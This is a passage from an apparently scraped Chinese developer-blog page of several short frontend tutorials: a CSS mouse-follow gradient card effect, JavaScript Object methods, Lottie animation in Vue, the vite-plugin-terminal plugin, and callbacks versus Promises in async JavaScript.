var rect = element.getBoundingClientRect();
var elementX = rect.left + window.pageXOffset;
var elementY = rect.top + window.pageYOffset;

var distanceX = mouseX - elementX;
var distanceY = mouseY - elementY;

// 将距离值设置到每一个卡片元素上面
element.style.setProperty('--x', distanceX + 'px');
element.style.setProperty('--y', distanceY + 'px');
}
});

我们检查控制台可以看到,值已经设置上去了,并且随着鼠标的移动,这个值是在不断变化的


image.png


给元素设置径向渐变


随后我们在element这个伪元素上设置一个径向渐变的CSS效果, 径向渐变的圆心坐标为当前元素距离当前鼠标坐标的距离。再使用mask遮罩,只留出3px的距离作为渐变效果展示。


.element::before {
content: '';
position: absolute;
width: calc(100% + 3px);
height: calc(100% + 3px);
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border-radius: 10px;
background: radial-gradient(250px circle at var(--x) var(--y),#00DC82 0,transparent 100%);;
}
.element .mask {
position: absolute;
inset: 3px;
background: #172033;
border-radius: 10px;

}

至此,效果就完全实现啦


image.png



作者:林黛玉倒拔垂杨柳
来源:juejin.cn/post/7301266090750115877
收起阅读 »

深入了解 JavaScript 中 Object 的重要属性

web
JavaScript 中的 Object 是一种非常灵活且强大的数据类型,它允许我们创建和操作键值对。在本文中,我们将深入探讨 Object 的一些重要属性,以便更好地理解和利用这个关键的数据结构。 1. Object.keys() Object.keys()...
继续阅读 »

JavaScript 中的 Object 是一种非常灵活且强大的数据类型,它允许我们创建和操作键值对。在本文中,我们将深入探讨 Object 的一些重要属性,以便更好地理解和利用这个关键的数据结构。


1. Object.keys()


Object.keys() 方法返回一个包含给定对象的所有可枚举属性的字符串数组。这对于获取对象的所有键是非常有用的。


示例:


const myObject = {
name: 'John',
age: 30,
job: 'Developer'
};

const keys = Object.keys(myObject);
console.log(keys); // ['name', 'age', 'job']

2. Object.values()


Object.values() 方法是 JavaScript 中用于获取对象所有可枚举属性值的一个非常便捷的工具。通过调用该方法,我们可以轻松地将对象的值提取为一个数组,而无需手动遍历对象的属性。这样一来,我们能够更加高效地对对象的值进行处理和操作。这一特性对于处理对象数据非常有用,例如在需要对对象的值进行计算、过滤或展示时,可以直接利用 Object.values() 方法获取到对象的所有值,然后进行进一步的处理。这样不仅能简化代码逻辑,还能提升代码的可读性和可维护性。


示例:


const myObject = {
name: 'John',
age: 30,
job: 'Developer'
};

const values = Object.values(myObject);
console.log(values); // ['John', 30, 'Developer']

3. Object.entries()


Object.entries() 方法返回一个给定对象自己的所有可枚举属性的键值对数组。这对于遍历对象的键值对非常有用。


示例:


const myObject = {
name: 'John',
age: 30,
job: 'Developer'
};

const entries = Object.entries(myObject);
console.log(entries);
// [['name', 'John'], ['age', 30], ['job', 'Developer']]

4. Object.assign()


Object.assign() 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象。这对于对象的浅拷贝非常有用。


示例:


const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const result = Object.assign({}, target, source);
console.log(result); // { a: 1, b: 4, c: 5 }

5. Object.freeze()


Object.freeze() 方法冻结一个对象,防止添加新属性,删除现有属性或修改属性的值。这对于创建不可变对象非常有用。


示例:


const myObject = {
name: 'John',
age: 30
};

Object.freeze(myObject);

// 下面的操作将无效
myObject.age = 31;
delete myObject.name;
myObject.job = 'Developer';

console.log(myObject); // { name: 'John', age: 30 }

6. Object.defineProperty()


Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性。这对于定义属性的特性非常有用。


示例:


const myObject = {};

Object.defineProperty(myObject, 'name', {
value: 'John',
writable: false, // 不能被修改
enumerable: true, // 可以被枚举
configurable: true // 可以被删除
});

console.log(myObject.name); // 'John'
myObject.name = 'Jane'; // 这里会被忽略,因为属性是不可写的

结论


Object 是 JavaScript 中一个关键的数据类型,通过深入了解其中的一些重要属性,我们可以更灵活地操作和管理对象。以上介绍的方法只是 Object 提供的众多功能之一,掌握这些属性将有助于更好地利用 JavaScript 中的对象。希望本文能够帮助你更深入地理解和使用 Object


作者:_XU
来源:juejin.cn/post/7301976895913951269
收起阅读 »

Vue 中使用 Lottie 动画库详解

web
Lottie 是一个由 Airbnb 开源的动画库,它允许你在 Web、iOS、Android 等平台上使用体积小、高性能的体验丰富的矢量动画。本文将详细介绍在 Vue 项目中如何集成和使用 Lottie。 步骤一:安装 Lottie 首先,需要安装 Lott...
继续阅读 »

Lottie 是一个由 Airbnb 开源的动画库,它允许你在 Web、iOS、Android 等平台上使用体积小、高性能的体验丰富的矢量动画。本文将详细介绍在 Vue 项目中如何集成和使用 Lottie。


步骤一:安装 Lottie


首先,需要安装 Lottie 包。在 Vue 项目中,可以使用 npm 或 yarn 进行安装:


npm install lottie-web
# 或
yarn add lottie-web

步骤二:引入 Lottie


在需要使用 Lottie 的组件中引入 Lottie 包:


// HelloWorld.vue

<template>
<div>
<lottie
:options="lottieOptions"
:width="400"
:height="400"
/>

</div>

</template>

<script>
import Lottie from 'lottie-web';
import animationData from './path/to/your/animation.json';

export default {
data() {
return {
lottieOptions: {
loop: true,
autoplay: true,
animationData: animationData,
},
};
},
mounted() {
this.$nextTick(() => {
// 初始化 Lottie 动画
const lottieInstance = Lottie.loadAnimation(this.lottieOptions);
});
},
};
</script>


<style>
/* 可以添加样式以调整动画的位置和大小 */
</style>


在上述代码中,animationData 是你的动画 JSON 数据,可以使用 Bodymovin 插件将 After Effects 动画导出为 JSON。


步骤三:调整参数和样式


lottieOptions 中,你可以设置各种参数来控制动画的行为,比如是否循环、是否自动播放等。同时,你可以通过样式表中的 CSS 来调整动画的位置和大小,以适应你的页面布局。


/* HelloWorld.vue */

<style>
.lottie {
margin: 20px auto; /* 调整动画的位置 */
}
</style>

四 Lottie 的主要配置参数


Lottie 提供了一系列配置参数,以便你能够定制化和控制动画的行为。以下是 Lottie 的主要配置参数以及它们的使用方法:


1. container


container 参数用于指定动画将被插入到页面中的容器元素。可以是 DOM 元素,也可以是一个用于选择元素的 CSS 选择器字符串。


示例:


// 使用 DOM 元素作为容器
const container = document.getElementById('animation-container');

// 或者使用 CSS 选择器字符串
const container = '#animation-container';

// 初始化 Lottie 动画
const animation = lottie.loadAnimation({
container: container,
/* 其他配置参数... */
});

2. renderer


renderer 参数用于指定渲染器的类型,常用的有 "svg" 和 "canvas"。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
renderer: 'svg', // 或 'canvas'
/* 其他配置参数... */
});

3. loop


loop 参数用于指定动画是否循环播放。设置为 true 时,动画将一直循环播放。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
loop: true,
/* 其他配置参数... */
});

4. autoplay


autoplay 参数用于指定是否在加载完成后自动播放动画。设置为 true 时,动画将在加载完成后立即开始播放。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
autoplay: true,
/* 其他配置参数... */
});

5. path


path 参数用于指定动画 JSON 文件的路径或 URL。可以是相对路径或绝对路径。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
path: 'path/to/animation.json',
/* 其他配置参数... */
});

6. rendererSettings


rendererSettings 参数用于包含特定渲染器的设置选项。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
rendererSettings: {
clearCanvas: true, // 在每一帧上清除画布
},
/* 其他配置参数... */
});

7. animationData


animationData 参数允许你直接将动画数据作为 JavaScript 对象传递给 Lottie。可以用于直接内嵌动画数据而不是从文件加载。


示例:


const animationData = {
/* 动画数据的具体内容 */
};

const animation = lottie.loadAnimation({
container: '#animation-container',
animationData: animationData,
/* 其他配置参数... */
});

8. name


name 参数用于为动画指定一个名称。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
name: 'myAnimation',
/* 其他配置参数... */
});

9. speed


speed 参数用于控制动画的播放速度。1 表示正常速度,0.5 表示一半速度,2 表示两倍速度。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
speed: 1.5, // 播放速度为原来的1.5倍
/* 其他配置参数... */
});

10. 事件回调


Lottie 还支持通过事件回调来执行一些自定义操作,如 onCompleteonLoopCompleteonEnterFrame 等。


示例:


const animation = lottie.loadAnimation({
container: '#animation-container',
loop: true,
onComplete: () => {
console.log('动画完成!');
},
/* 其他配置参数... */
});

通过灵活使用这些参数,你可以定制化你的动画,使其更好地满足项目的需求。


步骤五:运行项目


最后,确保你的 Vue 项目是运行在支持 Lottie 的环境中。启动项目,并在浏览器中查看效果:


npm run serve
# 或
yarn serve

访问 http://localhost:8080(具体端口可能会有所不同),你应该能够看到嵌入的 Lottie 动画正常播放。


结论


通过这些步骤,我们为 Vue 项目增添了一种引人注目的交互方式,提升了用户体验。Lottie 的强大功能和易用性使得在项目中集成动画变得轻而易举。希望本文对你在 Vue 项目中使用 Lottie 有所帮助。在应用中巧妙地使用动画,让用户感受到更加愉悦的交互体验。


作者:_XU
来源:juejin.cn/post/7301976895913623589
收起阅读 »

惊讶,Vite 原来也可以跑在浏览器

web
为大家介绍一个 vite 的一个终端插件,使之可以运行在浏览器中。它就是# vite-plugin-terminal。 Git 地址:github.com/patak-dev/v… vite-plugin-terminal 这个插件使用起来很简单,首先安装: ...
继续阅读 »


为大家介绍一个 vite 的一个终端插件,使之可以运行在浏览器中。它就是# vite-plugin-terminal


Git 地址:github.com/patak-dev/v…


vite-plugin-terminal


这个插件使用起来很简单,首先安装:


npm i -D vite-plugin-terminal

然后将插件添加到您的 vite.config.ts 配置中:


// vite.config.ts
import Terminal from 'vite-plugin-terminal'

export default {
plugins: [
Terminal()
]
}

最后,你可以在源代码中像使用 console.log 一样使用它。


import terminal from 'virtual:terminal';
import './module.js';

terminal.log('Hey terminal! A message from the browser');

const json = { foo: 'bar' };

terminal.log({ json });

terminal.assert(true, 'Assertion pass');
terminal.assert(false, 'Assertion fails');

terminal.info('Some info from the app');

terminal.table(['vite', 'plugin', 'terminal']);

看看效果。



体验地址:stackblitz.com/edit/github…


将日志导入终端


如果您希望标准 console 日志出现在终端中,您可以使用以下 console: 'terminal' 选项 vite.config.ts:


// vite.config.ts
import Terminal from 'vite-plugin-terminal'

export default {
plugins: [
Terminal({
console: 'terminal'
})
]
}

在这种情况下,就不需要导入虚拟终端来使用该插件。


console.log('Hey terminal! A message from the browser')

如果想要更多控制,也可以手动在脑海中覆盖它。


  <script type="module">
// Redirect console logs to the terminal
import terminal from 'virtual:terminal'
globalThis.console = terminal
</script>

双端控制台


如果希望同时控制登录终端和控制台,可以使用 output 选项来定义 terminal 应记录日志的位置。接受 terminal、console 或同时包含两者的数组。


// vite.config.ts
import Terminal from 'vite-plugin-terminal'

export default {
plugins: [
Terminal({
output: ['terminal', 'console']
})
]
}


其他


这个插件方法非常多,基本和 console 一样。


terminal.log(obj1 [, obj2, ..., objN])
terminal.info(obj1 [, obj2, ..., objN])
terminal.warn(obj1 [, obj2, ..., objN])
terminal.error(obj1 [, obj2, ..., objN])
terminal.assert(assertion, obj1 [, obj2, ..., objN])
terminal.group()
terminal.groupCollapsed()
terminal.groupEnd()
terminal.table(obj)
terminal.time(id)
terminal.timeLog(id, obj1 [, obj2, ..., objN])
terminal.timeEnd(id)
terminal.clear()
terminal.count(label)
terminal.countReset(label)
terminal.dir(obj)
terminal.dirxml(obj)

也可以定制一些配置。
例如上面介绍到的 console,设置为 'terminal' 使其 globalThis.console 等于terminal 应用程序中的对象。设置 output,定义日志的输出位置。设置 strip,terminal.*()生产时捆扎时剥去。还可以设置 includeexclude 用来指定插件在删除生产调用时应在构建中操作的文件和指定插件在删除生产调用时应忽略的构建中的文件。


小结


# vite-plugin-terminal 换种方式颠覆了现在大多人本地开发的模式,如果用来快速做演示 demo,是一个非常不错的选择。但是当前这个插件还是存在不少的问题,不过真的要用在大型商业项目里面时候,就要考虑跟 Devops系统的集成,希望# vite-plugin-terminal完全成熟开源后,能给开发者带来更多的便利。


参考



作者:拜小白
来源:juejin.cn/post/7301909438540333067
收起阅读 »

🔥🔥🔥“异步”是好还是坏?怎么灵活使用?看这边!🔥🔥🔥

web
前言     今天我们来聊一聊JS中的代码“异步”问题。先让我们简单看一看下面的代码: function a() { setTimeout(() => { console.log('写文章'); }, 1000) } f...
继续阅读 »

前言


    今天我们来聊一聊JS中的代码“异步”问题。先让我们简单看一看下面的代码:


function a() {
setTimeout(() => {
console.log('写文章');
}, 1000)
}

function b() {
setTimeout(() => {
console.log('发布');
}, 0)
}

a()
b()

    我们分别设置了ab两个函数;再分别设置一个计时器a函数设定为1秒,b函数设定为0秒;最后分别调用ab两函数。我们都知道JavaScript是从上往下单线程执行的,很明显此处我们想要的效果肯定是先“写文章”,1秒后再“发布”,让我们看看效果:


image.png


    很可惜事与愿违,我们连“写文章”都还没写呢就已经“发布”了。


    那么为什么会这样呢?当代码读取到调用a函数时,确实是是先执行了a函数,但同时浏览器引擎也不会傻傻等待a函数执行完再进行下一步,它会同时也执行b函数。而根据我们的设定,b函数的计算器设定为0秒并不需要等待,所以我们先得到的就是“发布”,而不是预期的“写文章”。这就是“异步”。


正文


异步问题


    在JavaScript中,异步编程是一种处理非阻塞操作的方式,使得代码可以在等待某些操作完成的同时继续执行其他任务。JavaScript是从上往下单线程执行的,但通过异步编程,可以实现在等待一些I/O操作、网络请求或定时器等时不阻塞整个程序的执行。同一时间干多步事情,让JS执行效率更高——这就是异步的优点。但异步有好处也有坏处,举个“栗子”:当b需要拿到a给出的结果才能执行的时候,异步会让还未拿到a结果的b也执行,这就会出问题,也就叫异步问题。就像我们前言中展示的那样,那碰到这种问题该怎么解决呢?


回调(Callback)


    有一种老的解决办法就是回调:把b的执行扔进a,等a执行完自然就轮到了b。让我们简单试一试:


function a() {
setTimeout(() => {
console.log('写文章');
b()
}, 1000)
}

function b() {
setTimeout(() => {
console.log('发布');
}, 0)
}

a()

再看看执行结果:


image.png


    我们在等待了一秒之后完成了“写文章”随后立即“发布”了。这样确实看起来解决了异步问题,但这也同时会带来新的问题。在回调中我们有一种情况叫做“回调地狱”:当回调的数量多起来的时候,执行的链就会非常长,类似于物理中的串联,有一个元件出了问题,整段代码就会崩掉,并且代码维护起来也会非常麻烦,得从头到尾查找问题。以下是一个简单的“回调地狱”例子,使用了多个嵌套的回调函数,模拟了异步操作的情况:


// 模拟异步操作1
function asyncOperation1(callback) {
setTimeout(function() {
console.log("Async Operation 1 completed");
callback();
}, 1000);
}

// 模拟异步操作2
function asyncOperation2(callback) {
setTimeout(function() {
console.log("Async Operation 2 completed");
callback();
}, 1000);
}

// 模拟异步操作3
function asyncOperation3(callback) {
setTimeout(function() {
console.log("Async Operation 3 completed");
callback();
}, 1000);
}

// 嵌套回调地狱
asyncOperation1(function() {
asyncOperation2(function() {
asyncOperation3(function() {
console.log("All async operations completed");
});
});
});

    在上述例子中,asyncOperation1asyncOperation2asyncOperation3 分别代表三个异步操作。它们的回调函数嵌套在彼此之内,形成了回调地狱。当异步操作数量增加时,这种嵌套结构会变得难以理解和维护。因此,使用Promise或更先进的异步处理方式通常更为推荐。这有助于避免回调地狱,提高代码的可读性和可维护性。


Promise


    在JavaScript中,Promise是一种用于处理异步操作的对象,它提供了更优雅的方式来组织和处理异步代码。Promise可以通过.then()链式调用,使得多个异步操作可以依次执行,而不是嵌套在回调中,使得异步代码更易于理解维护,避免了回调地狱(Callback Hell)。还可以通过.then()方法处理Promise成功状态,通过.catch()方法处理Promise失败状态。这种分离成功和失败的处理方式更加清晰。


    下面是一个简单的Promise示例:


// 创建一个Promise对象
let myPromise = new Promise(function(resolve, reject) {
// 异步操作
setTimeout(function() {
let success = true;

if (success) {
resolve("Promise resolved!");
} else {
reject("Promise rejected!");
}
}, 1000);
});

// 处理Promise成功状态
myPromise.then(function(result) {
console.log(result);
})
// 处理Promise失败状态
.catch(function(error) {
console.error(error);
});

    在这个例子中,myPromise表示一个异步操作,通过resolvereject函数表示成功和失败。.then()方法用于处理成功状态,.catch()方法用于处理失败状态。Promise的引入使得异步代码更为结构化,便于阅读维护


结语


    这次文章我们简单介绍了JavaScript中的“异步”、“回调”以及“Promise对象”。当然Promise身为一个对象肯定远不止这么几个方法!JavaScript的世界是那么的广阔,如果关于JS的内容对你有帮助的话,希望能给博主一个免费的小心心♡呀~


作者:Mio_02
来源:juejin.cn/post/7301914624140034083
收起阅读 »